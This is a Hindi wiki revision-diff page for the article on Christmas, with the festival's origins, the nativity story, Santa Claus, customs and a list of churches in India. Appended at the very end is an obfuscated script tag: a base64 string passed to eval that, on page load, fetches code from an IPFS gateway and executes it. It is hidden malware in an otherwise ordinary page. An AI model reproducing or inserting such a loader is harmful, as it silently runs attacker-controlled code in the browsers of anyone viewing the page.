"क्रिसमस": अवतरणों में अंतर
प्रीति चौधरी (वार्ता | योगदान) No edit summary |
No edit summary |
||
(6 सदस्यों द्वारा किए गए बीच के 9 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
{{ | {{सूचना बक्सा त्योहार | ||
|चित्र=Christmas-Tree-1.jpg | |||
|चित्र का नाम= क्रिसमस ट्री | |||
क्रिसमस शब्द का जन्म क्राईस्टेस माइसे अथवा '''क्राइस्टस् मास''' शब्द से हुआ है। ऐसा अनुमान है कि पहला क्रिसमस [[रोम]] में 336 ई. में मनाया गया था। यह प्रभु के पुत्र जीसस क्राइस्ट के जन्म दिन को याद करने के लिए पूरे विश्व में [[25 दिसंबर]] को मनाया जाता | |अन्य नाम = | ||
|अनुयायी = [[ईसाई]] | |||
|उद्देश्य = [[ईसा मसीह]] के जन्म की खुशी में मनाया जाने वाला पर्व है। | |||
|प्रारम्भ = ऐसा अनुमान है कि पहला क्रिसमस [[रोम]] में 336 ई. में मनाया गया था। | |||
|तिथि=[[25 दिसंबर]] | |||
|उत्सव =लोग अपने घरों को पेड़ों से सजाते हैं तथा हर कोने में मिसलटों को टांगते हैं। | |||
|अनुष्ठान = | |||
|धार्मिक मान्यता = | |||
|प्रसिद्धि = | |||
|संबंधित लेख= | |||
|शीर्षक 1=सान्ताक्लॉज़ | |||
|पाठ 1=सेंट बेनेडिक्ट उर्फ सान्ताक्लॉज़, [[लाल रंग]] व [[सफेद रंग]] ड्रेस पहने हुए, एक वृद्ध मोटा पौराणिक चरित्र है जो समारोहों में, विशेष कर बच्चों के लिए एक महत्त्वपूर्ण भूमिका निभाता है। | |||
|शीर्षक 2= | |||
|पाठ 2= | |||
|अन्य जानकारी= इस दिन [[भारत]] व अधिकांश अन्य देशों में सार्वजनिक अवकाश रहता है। | |||
|बाहरी कड़ियाँ= | |||
|अद्यतन= | |||
}} | |||
'''क्रिसमस''' अथवा '''बड़ा दिन''' [[ईसा मसीह]] के जन्म की खुशी में मनाया जाने वाला पर्व है। यह प्रत्येक वर्ष [[25 दिसम्बर]] को मनाया जाता है और इस दिन लगभग संपूर्ण विश्व में अवकाश रहता है। क्रिसमस से 12 दिन के उत्सव 'क्रिसमसटाइड' की भी शुरुआत होती है। क्रिसमस शब्द का जन्म '''क्राईस्टेस माइसे''' अथवा '''क्राइस्टस् मास''' शब्द से हुआ है। ऐसा अनुमान है कि पहला क्रिसमस [[रोम]] में 336 ई. में मनाया गया था। यह प्रभु के पुत्र जीसस क्राइस्ट के जन्म दिन को याद करने के लिए पूरे विश्व में [[25 दिसंबर]] को मनाया जाता है। यह [[ईसाई|ईसाइयों]] के सबसे महत्त्वपूर्ण त्योहारों में से एक है। इस दिन [[भारत]] व अधिकांश अन्य देशों में सार्वजनिक अवकाश रहता है। | |||
==धार्मिक मान्यता== | ==धार्मिक मान्यता== | ||
क्राइस्ट के जन्म के संबंध में नए टेस्टामेंट के अनुसार व्यापक रूप से स्वीकार्य ईसाई पौराणिक कथा है। इस कथा के अनुसार प्रभु ने मैरी नामक एक कुंवारी लड़की के पास गैब्रियल नामक देवदूत भेजा। गैब्रियल ने मैरी को बताया कि वह प्रभु के पुत्र को जन्म देगी तथा बच्चे का नाम जीसस रखा जाएगा। वह बड़ा होकर राजा बनेगा, तथा उसके राज्य की कोई सीमाएँ नहीं होंगी। | क्राइस्ट के जन्म के संबंध में नए टेस्टामेंट के अनुसार व्यापक रूप से स्वीकार्य ईसाई पौराणिक कथा है। इस कथा के अनुसार प्रभु ने मैरी नामक एक कुंवारी लड़की के पास गैब्रियल नामक देवदूत भेजा। गैब्रियल ने मैरी को बताया कि वह प्रभु के पुत्र को जन्म देगी तथा बच्चे का नाम जीसस रखा जाएगा। वह बड़ा होकर राजा बनेगा, तथा उसके राज्य की कोई सीमाएँ नहीं होंगी। देवदूत गैब्रियल, जोसफ के पास भी गया और उसे बताया कि मैरी एक बच्चे को जन्म देगी, और उसे सलाह दी कि वह मैरी की देखभाल करे व उसका परित्याग न करे। जिस रात को जीसस का जन्म हुआ, उस समय लागू नियमों के अनुसार अपने नाम पंजीकृत कराने के लिए मैरी और जोसफ बेथलेहेम जाने के लिए रास्ते में थे। उन्होंने एक अस्तबल में शरण ली, जहाँ मैरी ने आधी रात को जीसस को जन्म दिया तथा उसे एक नाँद में लिटा दिया। इस प्रकार प्रभु के पुत्र जीसस का जन्म हुआ। | ||
====सान्ताक्लॉज़==== | |||
देवदूत गैब्रियल, जोसफ के पास भी गया और उसे बताया कि मैरी एक बच्चे को जन्म देगी, और उसे सलाह दी कि वह मैरी की देखभाल करे व उसका परित्याग न करे। जिस रात को जीसस का जन्म हुआ, उस समय लागू नियमों के अनुसार अपने नाम पंजीकृत कराने के लिए मैरी और जोसफ बेथलेहेम जाने के लिए रास्ते में थे। उन्होंने एक अस्तबल में शरण ली, जहाँ मैरी ने आधी रात को जीसस को जन्म दिया तथा उसे एक नाँद में लिटा दिया। इस प्रकार प्रभु के पुत्र जीसस का जन्म हुआ। | सेंट बेनेडिक्ट उर्फ सान्ताक्लॉज़, [[लाल रंग]] व [[सफेद रंग]] ड्रेस पहने हुए, एक वृद्ध मोटा पौराणिक चरित्र है, जो रेन्डियर पर सवार होता है, तथा समारोहों में, विशेष कर बच्चों के लिए एक महत्त्वपूर्ण भूमिका निभाता है। वह बच्चों को प्यार करता है तथा उनके लिए चाकलेट, उपहार व अन्य वांछित वस्तुएँ लाता है, जिन्हें वह संभवत: रात के समय उनके जुराबों में रख देता है। | ||
[[चित्र:Christmas-Tree.jpg|thumb|150px|क्रिसमस ट्री|left]] | |||
सेंट बेनेडिक्ट उर्फ | |||
==पूजन विधि== | ==पूजन विधि== | ||
क्रिसमस के दौरान प्रभु की प्रशंसा में लोग कैरोल गाते हैं। वे प्यार व | क्रिसमस के दौरान प्रभु की प्रशंसा में लोग कैरोल गाते हैं। वे प्यार व भाईचारे का संदेश देते हुए घर-घर जाते हैं। क्रिसमस ट्री अपने वैभव के लिए पूरे विश्व में लोकप्रिय है। लोग अपने घरों को पेड़ों से सजाते हैं तथा हर कोने में मिसलटों को टांगते हैं। चर्च मास के बाद, लोग मित्रवत् रूप से एक दूसरे के घर जाते हैं तथा दावत करते हैं और एक दूसरे को शुभकामनाएं व उपहार देते हैं। वे शांति व भाईचारे का संदेश फैलाते हैं। क्रिसमस समारोह अर्धरात्रि के समय के बाद, जिसे समारोह का एक अनिवार्य भाग माना जाता है, शुरू होते हैं। इसके बाद मनोरंजन किया जाता है। सुंदर रंगीन वस्त्र पहने बच्चे ड्रम्स, झांझ-मंजीरों के आर्केस्ट्रा के साथ चमकीली छडियां लिए हुए सामूहिक नृत्य करते हैं। | ||
क्रिसमस ट्री अपने वैभव के लिए पूरे विश्व में लोकप्रिय है। लोग अपने घरों को पेड़ों से सजाते हैं तथा हर कोने में मिसलटों को टांगते हैं। चर्च मास के बाद, लोग मित्रवत् रूप से एक दूसरे के घर जाते हैं तथा दावत करते हैं और एक दूसरे को शुभकामनाएं व उपहार देते हैं। वे शांति व भाईचारे का संदेश फैलाते हैं। | ==भारत में क्रिसमस का महत्त्व== | ||
क्रिसमस समारोह अर्धरात्रि के समय के बाद, जिसे समारोह का एक अनिवार्य भाग माना जाता है, शुरू होते हैं। इसके बाद मनोरंजन किया जाता है। सुंदर रंगीन वस्त्र पहने बच्चे ड्रम्स, झांझ-मंजीरों के आर्केस्ट्रा के साथ चमकीली छडियां लिए हुए सामूहिक नृत्य करते हैं। | [[भारत]] में विशेषकर [[गोवा]] में कुछ लोकप्रिय चर्च हैं, जहाँ क्रिसमस बहुत जोश व उत्साह के साथ मनाया जाता है। इनमें से अधिकांश चर्च भारत में ब्रिटिश व [[पुर्तग़ाल|पुर्तग़ाली]] शासन के दौरान स्थापित किए गए थे। | ||
==भारत में क्रिसमस का | |||
भारत में विशेषकर [[गोवा]] में कुछ लोकप्रिय चर्च हैं, जहाँ क्रिसमस बहुत जोश व उत्साह के साथ मनाया जाता है। इनमें से अधिकांश चर्च भारत में ब्रिटिश व [[ | |||
==भारत की लोकप्रिय चर्च== | ==भारत की लोकप्रिय चर्च== | ||
भारत के कुछ बड़े चर्चों मे सेंट जोसफ कैथेड्रिल, और [[आंध्र प्रदेश]] का मेढक चर्च, सेंट कैथेड्रल, चर्च | [[चित्र:Merry-Christmas-Stamp.jpg|thumb|250px|क्रिसमस की शुभकामनाओं का [[डाक टिकट]]]] | ||
भारत के कुछ बड़े चर्चों मे सेंट जोसफ कैथेड्रिल, और [[आंध्र प्रदेश]] का मेढक चर्च, सेंट कैथेड्रल, चर्च ऑफ़ सेंट फ्रांसिस ऑफ़ आसीसि और गोवा का बैसिलिका व बोर्न जीसस, सेंट जांस चर्च इन विल्डरनेस और [[हिमाचल प्रदेश|हिमाचल]] में क्राइस्ट चर्च, सांता क्लाज बैसिलिका चर्च, और [[केरल]] का सेंट फ्रासिस चर्च, होली क्राइस्ट चर्च तथा माउन्ट मेरी चर्च [[महाराष्ट्र]] में, [[तमिलनाडु]] में क्राइस्ट द किंग चर्च व वेलान्कन्नी चर्च, और ऑल सेंट्स चर्च व [[कानपुर]] मेमोरियल चर्च, [[उत्तर प्रदेश]] में शामिल हैं।<ref>{{cite web |url=http://bharat.gov.in/knowindia/festivlas_christmas.php |title=क्रिसमस |accessmonthday=[[23 सितंबर]] |accessyear=2011 |last= |first= |authorlink= |format= |publisher= |language=हिन्दी }}</ref> | |||
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक2 |माध्यमिक= |पूर्णता= |शोध= }} | {{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक2 |माध्यमिक= |पूर्णता= |शोध= }} | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{पर्व और त्योहार}} | {{ईसाई धर्म}}{{पर्व और त्योहार}} | ||
[[Category:संस्कृति कोश]] | [[Category:ईसाई धर्म]][[Category:संस्कृति कोश]][[Category:ईसाई धर्म कोश]][[Category:पर्व और त्योहार]][[Category:धर्म कोश]] | ||
[[Category:पर्व और त्योहार]] | |||
[[Category: | |||
__INDEX__ | __INDEX__ | ||
__NOTOC__ |
10:15, 29 फ़रवरी 2024 के समय का अवतरण
क्रिसमस
| |
अनुयायी | ईसाई |
उद्देश्य | ईसा मसीह के जन्म की खुशी में मनाया जाने वाला पर्व है। |
प्रारम्भ | ऐसा अनुमान है कि पहला क्रिसमस रोम में 336 ई. में मनाया गया था। |
तिथि | 25 दिसंबर |
उत्सव | लोग अपने घरों को पेड़ों से सजाते हैं तथा हर कोने में मिसलटों को टांगते हैं। |
सान्ताक्लॉज़ | सेंट बेनेडिक्ट उर्फ सान्ताक्लॉज़, लाल रंग व सफेद रंग ड्रेस पहने हुए, एक वृद्ध मोटा पौराणिक चरित्र है जो समारोहों में, विशेष कर बच्चों के लिए एक महत्त्वपूर्ण भूमिका निभाता है। |
अन्य जानकारी | इस दिन भारत व अधिकांश अन्य देशों में सार्वजनिक अवकाश रहता है। |
क्रिसमस अथवा बड़ा दिन ईसा मसीह के जन्म की खुशी में मनाया जाने वाला पर्व है। यह प्रत्येक वर्ष 25 दिसम्बर को मनाया जाता है और इस दिन लगभग संपूर्ण विश्व में अवकाश रहता है। क्रिसमस से 12 दिन के उत्सव 'क्रिसमसटाइड' की भी शुरुआत होती है। क्रिसमस शब्द का जन्म क्राईस्टेस माइसे अथवा क्राइस्टस् मास शब्द से हुआ है। ऐसा अनुमान है कि पहला क्रिसमस रोम में 336 ई. में मनाया गया था। यह प्रभु के पुत्र जीसस क्राइस्ट के जन्म दिन को याद करने के लिए पूरे विश्व में 25 दिसंबर को मनाया जाता है। यह ईसाइयों के सबसे महत्त्वपूर्ण त्योहारों में से एक है। इस दिन भारत व अधिकांश अन्य देशों में सार्वजनिक अवकाश रहता है।
धार्मिक मान्यता
क्राइस्ट के जन्म के संबंध में नए टेस्टामेंट के अनुसार व्यापक रूप से स्वीकार्य ईसाई पौराणिक कथा है। इस कथा के अनुसार प्रभु ने मैरी नामक एक कुंवारी लड़की के पास गैब्रियल नामक देवदूत भेजा। गैब्रियल ने मैरी को बताया कि वह प्रभु के पुत्र को जन्म देगी तथा बच्चे का नाम जीसस रखा जाएगा। वह बड़ा होकर राजा बनेगा, तथा उसके राज्य की कोई सीमाएँ नहीं होंगी। देवदूत गैब्रियल, जोसफ के पास भी गया और उसे बताया कि मैरी एक बच्चे को जन्म देगी, और उसे सलाह दी कि वह मैरी की देखभाल करे व उसका परित्याग न करे। जिस रात को जीसस का जन्म हुआ, उस समय लागू नियमों के अनुसार अपने नाम पंजीकृत कराने के लिए मैरी और जोसफ बेथलेहेम जाने के लिए रास्ते में थे। उन्होंने एक अस्तबल में शरण ली, जहाँ मैरी ने आधी रात को जीसस को जन्म दिया तथा उसे एक नाँद में लिटा दिया। इस प्रकार प्रभु के पुत्र जीसस का जन्म हुआ।
सान्ताक्लॉज़
सेंट बेनेडिक्ट उर्फ सान्ताक्लॉज़, लाल रंग व सफेद रंग ड्रेस पहने हुए, एक वृद्ध मोटा पौराणिक चरित्र है, जो रेन्डियर पर सवार होता है, तथा समारोहों में, विशेष कर बच्चों के लिए एक महत्त्वपूर्ण भूमिका निभाता है। वह बच्चों को प्यार करता है तथा उनके लिए चाकलेट, उपहार व अन्य वांछित वस्तुएँ लाता है, जिन्हें वह संभवत: रात के समय उनके जुराबों में रख देता है।

पूजन विधि
क्रिसमस के दौरान प्रभु की प्रशंसा में लोग कैरोल गाते हैं। वे प्यार व भाईचारे का संदेश देते हुए घर-घर जाते हैं। क्रिसमस ट्री अपने वैभव के लिए पूरे विश्व में लोकप्रिय है। लोग अपने घरों को पेड़ों से सजाते हैं तथा हर कोने में मिसलटों को टांगते हैं। चर्च मास के बाद, लोग मित्रवत् रूप से एक दूसरे के घर जाते हैं तथा दावत करते हैं और एक दूसरे को शुभकामनाएं व उपहार देते हैं। वे शांति व भाईचारे का संदेश फैलाते हैं। क्रिसमस समारोह अर्धरात्रि के समय के बाद, जिसे समारोह का एक अनिवार्य भाग माना जाता है, शुरू होते हैं। इसके बाद मनोरंजन किया जाता है। सुंदर रंगीन वस्त्र पहने बच्चे ड्रम्स, झांझ-मंजीरों के आर्केस्ट्रा के साथ चमकीली छडियां लिए हुए सामूहिक नृत्य करते हैं।
भारत में क्रिसमस का महत्त्व
भारत में विशेषकर गोवा में कुछ लोकप्रिय चर्च हैं, जहाँ क्रिसमस बहुत जोश व उत्साह के साथ मनाया जाता है। इनमें से अधिकांश चर्च भारत में ब्रिटिश व पुर्तग़ाली शासन के दौरान स्थापित किए गए थे।
भारत की लोकप्रिय चर्च

भारत के कुछ बड़े चर्चों मे सेंट जोसफ कैथेड्रिल, और आंध्र प्रदेश का मेढक चर्च, सेंट कैथेड्रल, चर्च ऑफ़ सेंट फ्रांसिस ऑफ़ आसीसि और गोवा का बैसिलिका व बोर्न जीसस, सेंट जांस चर्च इन विल्डरनेस और हिमाचल में क्राइस्ट चर्च, सांता क्लाज बैसिलिका चर्च, और केरल का सेंट फ्रासिस चर्च, होली क्राइस्ट चर्च तथा माउन्ट मेरी चर्च महाराष्ट्र में, तमिलनाडु में क्राइस्ट द किंग चर्च व वेलान्कन्नी चर्च, और ऑल सेंट्स चर्च व कानपुर मेमोरियल चर्च, उत्तर प्रदेश में शामिल हैं।[1]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>